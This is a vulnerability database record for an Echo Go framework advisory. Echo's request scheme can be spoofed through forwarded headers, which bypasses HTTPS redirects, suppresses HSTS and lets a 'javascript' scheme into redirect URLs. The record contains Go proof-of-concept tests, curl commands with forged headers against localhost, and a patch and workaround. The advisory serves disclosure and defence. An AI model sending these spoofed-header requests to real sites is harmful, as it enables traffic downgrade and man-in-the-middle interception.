{"id":"CVE-2026-118657","kind":"vulnerability","aliases":["CVE-2026-118657","GHSA-2ffq-g2xg-c22p"],"related":[],"title":"Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers","description":"## Description\n\n`Context.Scheme()` unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.\n\nThe trusted headers (checked in this order of precedence):\n1. `X-Forwarded-Proto`\n2. `X-Forwarded-Protocol`\n3. `X-Forwarded-Ssl`\n4. `X-Url-Scheme`\n\n### Threat model\n\n**Scenario A — Directly exposed application (vulnerable by default):**\nThe Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending `X-Forwarded-Proto: https` defeats the `HTTPSRedirect` middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.\n\nThis is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using `e.Pre(middleware.HTTPSRedirect())` as documented is sufficient.\n\n**Scenario B — Behind L7 proxy with header sanitization (reduced risk):**\nIf the application is strictly behind a correctly configured L7 proxy that always overwrites `X-Forwarded-Proto` and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: *\"you must not trust HTTP headers unconditionally.\"*\n\n### Root cause\n\n`context.go`, lines 161–181:\n\n```go\nfunc (c *Context) Scheme() string {\n    if c.IsTLS() {\n        return \"https\"\n    }\n    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != \"\" {\n        return scheme\n    }\n    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != \"\" {\n        return scheme\n    }\n    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == \"on\" {\n        return \"https\"\n    }\n    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != \"\" {\n        return scheme\n    }\n    return \"http\"\n}\n```\n\nTwo additional issues with this implementation:\n\n1. **No value validation.** `Scheme()` returns any arbitrary string from the header, not just `\"http\"` or `\"https\"`. This breaks the documented contract (\"returns the HTTP protocol scheme, `http` or `https`\") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., `WWWRedirect` builds `scheme + \"://www.\" + host + uri`).\n\n2. **Consumed by security-critical middleware.** The return value is used directly by redirect middleware (`middleware/redirect.go:136`) and secure middleware (`middleware/secure.go:125`) for security enforcement decisions.\n\n### Affected components\n\n| Component | File | Line(s) | Impact |\n|-----------|------|---------|--------|\n| `Context.Scheme()` | `context.go` | 161–181 | Returns attacker-controlled scheme |\n| `HTTPSRedirect` | `middleware/redirect.go` | 147–151 | HTTPS enforcement bypassed |\n| `HTTPSWWWRedirect` | `middleware/redirect.go` | 154–161 | HTTPS enforcement bypassed |\n| `HTTPSNonWWWRedirect` | `middleware/redirect.go` | 163–170 | HTTPS enforcement bypassed |\n| `WWWRedirect` | `middleware/redirect.go` | 172–177 | URL constructed with arbitrary scheme |\n| `NonWWWRedirect` | `middleware/redirect.go` | 179–184 | URL constructed with arbitrary scheme |\n| Secure middleware (HSTS) | `middleware/secure.go` | 125 | HSTS header suppressed |\n\n### This is an unsafe-by-default API surface, not just misconfiguration\n\nThis behavior is not accidental — it is codified in the project's own test suite. For example, `middleware/redirect_test.go` (lines 29–34) explicitly asserts that `X-Forwarded-Proto: https` on an HTTP request results in 200 OK (no redirect):\n\n```go\n{\n    whenHost:         \"labstack.com\",\n    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {\"https\"}},\n    expectLocation:   \"\",\n    expectStatusCode: http.StatusOK,\n},\n```\n\nSimilarly, `middleware/secure_test.go` (lines 42–53) and `context_test.go` (lines 1104–1111) assert that scheme is derived from the header.\n\nThe problem is not that the framework *can* use forwarded headers — that is legitimate behind a trusted proxy. The problem is that **there is no mechanism to control whether this trust is appropriate**, unlike the existing IP header trust model. `Scheme()` always trusts the headers, making any middleware that depends on it unsafe-by-default.\n\n### Inconsistency with existing trust model\n\nEcho already recognizes this class of header-trust vulnerability for IP addresses. The `IPExtractor` mechanism with `TrustOption` (`TrustLoopback`, `TrustPrivateNet`, `TrustLinkLocal`, `TrustIPRange`) was introduced specifically because:\n\n> *\"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. **A security risk!**\"*\n> — `ip.go`, lines 20–21\n\n> *\"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set.\"*\n> — `ip.go`, lines 36–38\n\nNo equivalent mechanism exists for scheme detection. `Scheme()` unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.\n\n### Note on proxies and the \"3 additional headers\"\n\nA correctly configured nginx `proxy_set_header X-Forwarded-Proto $scheme;` overwrites `X-Forwarded-Proto` with the actual incoming scheme. When a proxy does this, `X-Forwarded-Proto` is trustworthy and the three fallback headers (`X-Forwarded-Protocol`, `X-Forwarded-Ssl`, `X-Url-Scheme`) are never reached because `X-Forwarded-Proto` takes precedence in `Scheme()`.\n\nThe three additional headers become real attack vectors specifically when:\n- The proxy does **not** set `X-Forwarded-Proto` at all (common in default proxy configs), or\n- The application is directly exposed (Scenario A above).\n\nIn such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via `X-Forwarded-Proto` on a directly exposed app) does not depend on the additional headers.\n\n## Impact\n\n**HTTPS downgrade / MITM:** An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.\n\n**HSTS suppression:** Behind a TLS-terminating proxy, spoofing `X-Forwarded-Proto: http` prevents the `Strict-Transport-Security` header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.\n\n**URL construction with arbitrary scheme:** `WWWRedirect` and `NonWWWRedirect` use `c.Scheme()` to build redirect URLs (`scheme + \"://www.\" + host + uri`). An attacker can inject arbitrary strings (e.g., `javascript:`, `data:`) as the scheme component of redirect URLs.\n\n## Proof of Concept\n\nTested on Echo **v5.0.4** (commit `fa5311b`, 2026-02-15).\n\n### PoC 1: HTTPS Redirect Bypass (Go test)\n\n```go\npackage echo_test\n\nimport (\n    \"net/http\"\n    \"net/http/httptest\"\n    \"testing\"\n\n    \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc TestHTTPSRedirectBypass(t *testing.T) {\n    e := echo.New()\n    e.Pre(middleware.HTTPSRedirect())\n    e.GET(\"/\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"served over: \"+c.Scheme())\n    })\n\n    // Normal HTTP → should redirect\n    req := httptest.NewRequest(http.MethodGet, \"/\", nil)\n    rec := httptest.NewRecorder()\n    e.ServeHTTP(rec, req)\n    if rec.Code != http.StatusMovedPermanently {\n        t.Fatalf(\"expected 301, got %d\", rec.Code)\n    }\n    t.Logf(\"Normal HTTP → %d (redirect to %s)\", rec.Code, rec.Header().Get(\"Location\"))\n\n    // Attack: all 4 headers bypass the redirect\n    headers := map[string]string{\n        \"X-Forwarded-Proto\":    \"https\",\n        \"X-Forwarded-Protocol\": \"https\",\n        \"X-Forwarded-Ssl\":      \"on\",\n        \"X-Url-Scheme\":         \"https\",\n    }\n    for name, value := range headers {\n        req := httptest.NewRequest(http.MethodGet, \"/\", nil)\n        req.Header.Set(name, value)\n        rec := httptest.NewRecorder()\n        e.ServeHTTP(rec, req)\n        if rec.Code == http.StatusOK {\n            t.Errorf(\"BYPASS via %s: %s → %d (no redirect!)\", name, value, rec.Code)\n        }\n    }\n}\n```\n\n### PoC 2: curl examples (easiest to reproduce)\n\nStart a minimal Echo server:\n\n```go\npackage main\n\nimport (\n    \"net/http\"\n    \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc main() {\n    e := echo.New()\n    e.Pre(middleware.HTTPSRedirect())\n    e.GET(\"/\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"Hello on \"+c.Scheme())\n    })\n    e.Start(\":8080\")\n}\n```\n\nThen:\n\n```bash\n# Normal HTTP → 301 redirect (expected)\n$ curl -I http://localhost:8080/\nHTTP/1.1 301 Moved Permanently\nLocation: https://localhost:8080/\n\n# Attack: bypass via X-Forwarded-Proto\n$ curl -H \"X-Forwarded-Proto: https\" http://localhost:8080/\nHello on https\n\n# Attack: bypass via X-Forwarded-Protocol\n$ curl -H \"X-Forwarded-Protocol: https\" http://localhost:8080/\nHello on https\n\n# Attack: bypass via X-Forwarded-Ssl\n$ curl -H \"X-Forwarded-Ssl: on\" http://localhost:8080/\nHello on https\n\n# Attack: bypass via X-Url-Scheme\n$ curl -H \"X-Url-Scheme: https\" http://localhost:8080/\nHello on https\n```\n\n### PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)\n\n```go\nfunc TestArbitrarySchemeInRedirect(t *testing.T) {\n    e := echo.New()\n    e.Pre(middleware.WWWRedirect())\n    e.GET(\"/\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"ok\")\n    })\n\n    req := httptest.NewRequest(http.MethodGet, \"/\", nil)\n    req.Host = \"example.com\"\n    req.Header.Set(\"X-Forwarded-Proto\", \"javascript\")\n    rec := httptest.NewRecorder()\n    e.ServeHTTP(rec, req)\n\n    // Redirect Location uses the spoofed scheme\n    loc := rec.Header().Get(\"Location\")\n    // loc == \"javascript://www.example.com/\" — violates http/https contract\n    t.Logf(\"Status: %d, Location: %s\", rec.Code, loc)\n}\n```\n\n### PoC 4: HSTS Suppression\n\n```go\nfunc TestHSTSSuppression(t *testing.T) {\n    e := echo.New()\n    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))\n    e.GET(\"/\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"ok\")\n    })\n\n    // Legitimate: proxied HTTPS should have HSTS\n    req := httptest.NewRequest(http.MethodGet, \"/\", nil)\n    req.Header.Set(\"X-Forwarded-Proto\", \"https\")\n    rec := httptest.NewRecorder()\n    e.ServeHTTP(rec, req)\n    if h := rec.Header().Get(\"Strict-Transport-Security\"); h == \"\" {\n        t.Fatal(\"HSTS missing when it should be present\")\n    }\n\n    // Attack: suppress HSTS by spoofing \"http\"\n    // In production: app behind TLS-terminating proxy, proxy delivers response\n    // to client over HTTPS, but HSTS header is absent due to spoofed header\n    req2 := httptest.NewRequest(http.MethodGet, \"/\", nil)\n    req2.Header.Set(\"X-Forwarded-Proto\", \"http\")\n    rec2 := httptest.NewRecorder()\n    e.ServeHTTP(rec2, req2)\n    if h := rec2.Header().Get(\"Strict-Transport-Security\"); h == \"\" {\n        t.Error(\"VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http\")\n    }\n}\n```\n\n### Test output (all attacks succeed)\n\n```\n=== RUN   TestHTTPSRedirectBypass\n    Normal HTTP → 301 (redirect to https://example.com/)\n    BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)\n    BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)\n    BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)\n    BYPASS via X-Url-Scheme: https → 200 (no redirect!)\n\n=== RUN   TestArbitrarySchemeInRedirect\n    Status: 301, Location: javascript://www.example.com/\n\n=== RUN   TestHSTSSuppression\n    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http\n```\n\n## Precedent CVEs\n\n- **CVE-2018-1193** — Cloud Foundry GoRouter: unverified `X-Forwarded-Proto` header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding `sanitize_forwarded_proto` option.\n- **CVE-2025-41235** — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.\n\n## Suggested fix\n\n### Option A: `SchemeExtractor` (recommended, backward-compatible with opt-in)\n\nAdd a `SchemeExtractor` mechanism analogous to the existing `IPExtractor`, where the extractor decides whether to trust forwarded headers based on `RemoteAddr` or trusted proxy ranges:\n\n```go\ntype SchemeExtractor func(req *http.Request) string\n\n// ExtractSchemeDirect ignores all forwarded headers (secure default)\nfunc ExtractSchemeDirect() SchemeExtractor { ... }\n\n// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources\nfunc ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }\n```\n\nUsage:\n\n```go\n// Secure: directly exposed, ignore headers\ne.SchemeExtractor = echo.ExtractSchemeDirect()\n\n// Behind trusted proxy\ne.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(\n    echo.TrustIPRange(proxySubnet),\n)\n```\n\nThe default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.\n\n### Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)\n\n`Scheme()` should validate that the returned value is `\"http\"` or `\"https\"`, rejecting arbitrary strings. This prevents the \"arbitrary scheme in redirect URL\" issue but does not address the core HTTPS redirect bypass (because `\"https\"` is a valid value that the attacker injects).\n\n### Both options should be applied together.\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. `Context.Scheme()` now uses the `X-Forwarded-Proto`, `X-Forwarded-Protocol`, `X-Forwarded-Ssl` and `X-Url-Scheme` headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When `X-Forwarded-Proto` is present, only its last value is used. The new `Echo#SchemeExtractor` selects the strategy (`ExtractSchemeFromHeaders`, `ExtractSchemeDirect`, `LegacySchemeExtractor`). The Secure middleware sets HSTS from `Context.Scheme()`, and the Proxy middleware always sets `X-Forwarded-Proto` and removes the other scheme headers.\n\n## Workarounds\n\nIf a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example `e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange))`; otherwise `HTTPSRedirect` redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites `X-Forwarded-Proto` and removes `X-Forwarded-Protocol`, `X-Forwarded-Ssl` and `X-Url-Scheme`, and that the application cannot be reached directly.","summary":"Echo's Context.Scheme() trusts four client-sent forwarded headers without configuration, so a request can report itself as HTTPS. An attacker who reaches the app directly can skip the HTTPS redirect and suppress HSTS headers, and redirect URLs can carry an arbitrary scheme.","severity":"medium","cvss":5.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/labstack/echo/v5","fixed":["5.4.0"],"affected":"< 5.4.0","ecosystem":"go"},{"name":"github.com/labstack/echo/v4","fixed":["4.16.0"],"affected":"< 4.16.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-346","echo","go","package","self-hosted"],"not_affected_if":["managed-hosting","static-export"],"how_to_check":"- Check the Echo version in go.mod: `github.com/labstack/echo/v5` below `5.4.0` or `github.com/labstack/echo/v4` below `4.16.0`\n- Look for `middleware.HTTPSRedirect`, `HTTPSWWWRedirect`, `HTTPSNonWWWRedirect`, `WWWRedirect` or `NonWWWRedirect` in the code\n- Check whether the app is reachable directly, bypassing any proxy that overwrites `X-Forwarded-Proto`","fix":"- Upgrade `github.com/labstack/echo/v5` to `5.4.0` or later\n- Upgrade `github.com/labstack/echo/v4` to `4.16.0` or later\n- Until upgraded, make sure a reverse proxy overwrites `X-Forwarded-Proto` and the app is not reachable directly","status":"open","published_at":"2026-10-28T21:04:52+00:00","first_seen_at":"2026-10-28T21:07:44+00:00","triaged_at":"2026-10-28T21:09:30+00:00","updated_at":"2026-10-28T21:09:30+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-28T21:09:30Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `github.com/labstack/echo/v5` to `5.4.0` or later\n- Upgrade `github.com/labstack/echo/v4` to `4.16.0` or later\n- Until upgraded, make sure a reverse proxy overwrites `X-Forwarded-Proto` and the app is not reachable directly","reach":"internet","title":"Echo: client headers can spoof request scheme and bypass HTTPS redirect","impact":"medium","summary":"Echo's Context.Scheme() trusts four client-sent forwarded headers without configuration, so a request can report itself as HTTPS. An attacker who reaches the app directly can skip the HTTPS redirect and suppress HSTS headers, and redirect URLs can carry an arbitrary scheme.","category":"package","nicknames":[],"who_cares":["go","echo","self-hosted"],"confidence":0.8,"needs_auth":"no","worst_case":"Plaintext HTTP traffic and suppressed HSTS headers, enabling man-in-the-middle attacks","analyst_note":"","how_to_check":"- Check the Echo version in go.mod: `github.com/labstack/echo/v5` below `5.4.0` or `github.com/labstack/echo/v4` below `4.16.0`\n- Look for `middleware.HTTPSRedirect`, `HTTPSWWWRedirect`, `HTTPSNonWWWRedirect`, `WWWRedirect` or `NonWWWRedirect` in the code\n- Check whether the app is reachable directly, bypassing any proxy that overwrites `X-Forwarded-Proto`","needs_analyst":false,"not_affected_if":["static-export","managed-hosting"],"who_is_affected":"Applications that use Echo's HTTPS redirect or secure middleware, or that call Context.Scheme() for security decisions, are exposed. Directly exposed apps are the main case, since the client controls all headers. Apps behind a proxy that always overwrites these headers, with no direct backend access, face lower risk.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001215,"input_tokens":8462,"output_tokens":738,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-118657':16A,24A '-2026':15A,23A '-346':32B '/labstack/echo/v4':30A '/labstack/echo/v5':27A '/www':420C '1':129C,372C '125':445C,509C '136':440C '147':468C '151':469C '154':475C '161':323C,459C,476C '163':482C '170':483C '172':489C '177':490C '179':498C '181':324C,460C '184':499C '2':134C,423C '200':560C '29':544C '2ffq':19A '3':139C '34':545C '4':144C 'access':279C 'accident':529C 'addit':367C 'affect':450C 'allow':106C 'alway':268C 'api':520C 'app':64B 'applic':155C,161C,229C,258C 'arbitrari':81B,379C,494C,503C 'assert':547C 'attack':60B,110C,178C,192C,222C,463C 'attacker-control':462C 'b':247C 'backend':186C,282C 'behavior':405C,526C 'behind':248C,261C 'break':390C 'build':418C 'bypass':6A,112C,180C,472C,479C,486C 'c':327C 'c.istls':332C 'c.request.header.get':337C,344C,351C,359C 'c22p':21A 'carri':79B 'case':190C 'caus':320C,403C 'check':123C 'client':45B,89C,170C 'client-control':88C 'client-sent':44B 'codifi':532C 'compon':451C,452C 'configur':50B,102C,264C 'construct':414C,492C,501C 'consum':424C 'context':328C 'context.go':321C,458C 'context.scheme':41B,84C,457C 'contract':393C 'control':90C,195C,293C,464C 'correct':263C 'critic':428C 'cve':14A,22A 'cwe':31B 'decis':449C 'default':158C,233C,519C 'defeat':206C 'descript':83C 'determin':94C 'direct':65B,153C,168C,187C,278C,435C 'document':243C,310C,392C 'e.g':416C 'e.pre':240C 'echo':1A,33B,39B,160C,304C 'echo.headerxforwardedproto':571C 'enabl':216C 'enforc':115C,448C,471C,478C,485C 'entir':210C 'exampl':541C 'expectloc':573C 'expectstatusc':574C 'explicit':546C 'expos':154C 'extern':294C 'extract':309C 'file':453C 'forward':11A,47B,132C,137C,142C,203C,272C,551C 'four':43B,87C 'framework':297C,301C 'front':175C 'full':194C 'func':326C 'g2xg':20A 'ghsa':18A 'ghsa-2ffq-g2xg-c22p':17A 'github.com':26A,29A 'github.com/labstack/echo/v4':28A 'github.com/labstack/echo/v5':25A 'go':34B,325C,564C 'header':13A,48B,74B,92C,119C,122C,199C,252C,317C,383C,511C 'headerxforwardedproto':338C 'headerxforwardedprotocol':345C 'headerxforwardedssl':352C 'headerxurlschem':360C 'host':38B,421C 'howev':288C 'hsts':5A,73B,118C,507C,510C 'http':91C,164C,215C,316C,365C,386C,396C,399C,556C 'https':2A,58B,69B,113C,205C,334C,356C,388C,401C,470C,477C,484C,553C,572C 'httpsnonwwwredirect':480C 'httpsredirect':208C,466C 'httpswwwredirect':473C 'impact':456C 'implement':371C 'ip':308C 'ip-extract':307C 'issu':368C 'l7':172C,249C,265C 'labstack.com':566C 'line':322C,454C,543C 'listen':162C 'lower':287C 'man':218C 'man-in-the-middl':217C 'map':568C 'mechan':100C 'middl':221C 'middlewar':209C,407C,429C,438C,443C,506C 'middleware.httpsredirect':241C 'middleware/redirect.go':439C,467C,474C,481C,488C,497C 'middleware/redirect_test.go':542C 'middleware/secure.go':444C,508C 'misconfigur':236C,524C 'model':150C 'must':313C 'nonwwwredirect':496C 'ok':561C 'order':126C 'overwrit':269C 'packag':35B 'perimet':292C 'plaintext':214C 'practic':284C 'preced':128C 'primari':226C 'project':535C 'proto':133C,204C,273C,552C 'protocol':138C,397C 'proxi':173C,182C,250C,266C 'reach':62B,184C 'reachabl':167C 'redirect':3A,70B,76B,114C,437C,563C 'reduc':254C 'reli':290C 'remot':108C 'report':55B 'request':53B,96C,198C,557C 'requir':237C 'result':558C 'return':333C,340C,347C,355C,362C,364C,377C,394C,411C,431C,461C 'risk':255C,285C 'root':319C 'sanit':253C 'scenario':151C,227C,246C 'scheme':12A,82B,97C,148C,329C,336C,339C,341C,343C,346C,348C,358C,361C,363C,376C,398C,419C,465C,495C,504C 'secur':427C,442C,447C,505C 'security-crit':426C 'self':37B 'self-host':36B 'send':200C 'sent':46B 'simpli':238C 'skip':67B 'sourc':104C 'ssl':143C,350C,353C 'state':311C 'stay':212C 'strict':260C 'string':330C,380C,569C,570C 'suffici':245C 'suit':539C 'suppress':72B,117C,512C 'surfac':521C 'test':538C 'threat':149C 'traffic':211C 'trust':9A,42B,86C,103C,121C,315C 'two':366C 'unauthent':109C 'uncondit':8A,85C,318C 'unexpect':404C 'unsaf':517C 'unsafe-by-default':516C 'uri':422C 'url':77B,147C,415C,491C,500C 'use':239C,409C,434C 'valid':375C 'valu':374C,412C,432C 'via':7A 'vulner':156C,231C 'whenhead':567C 'whenhost':565C 'without':49B 'wwwredirect':417C,487C 'x':131C,136C,141C,146C,202C,271C,550C 'x-forwarded-proto':130C,201C,270C,549C 'x-forwarded-protocol':135C 'x-forwarded-ssl':140C 'x-url-schem':145C","nicknames":[],"mitigations":[],"who_affected":"Applications that use Echo's HTTPS redirect or secure middleware, or that call Context.Scheme() for security decisions, are exposed. Directly exposed apps are the main case, since the client controls all headers. Apps behind a proxy that always overwrites these headers, with no direct backend access, face lower risk.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T21:04:52+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-2ffq-g2xg-c22p","url":"https://github.com/advisories/GHSA-2ffq-g2xg-c22p","severity":"medium","published_at":"2026-10-28T21:04:52+00:00","modified_at":"2026-10-28T21:04:53+00:00","first_seen_at":"2026-10-28T21:07:44+00:00","fetched_at":"2026-10-28T21:07:44+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-118657","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118657","severity":null,"published_at":"2026-10-28T21:16:55+00:00","modified_at":"2026-10-28T21:16:55+00:00","first_seen_at":"2026-10-28T21:35:45+00:00","fetched_at":"2026-10-28T21:35:45+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}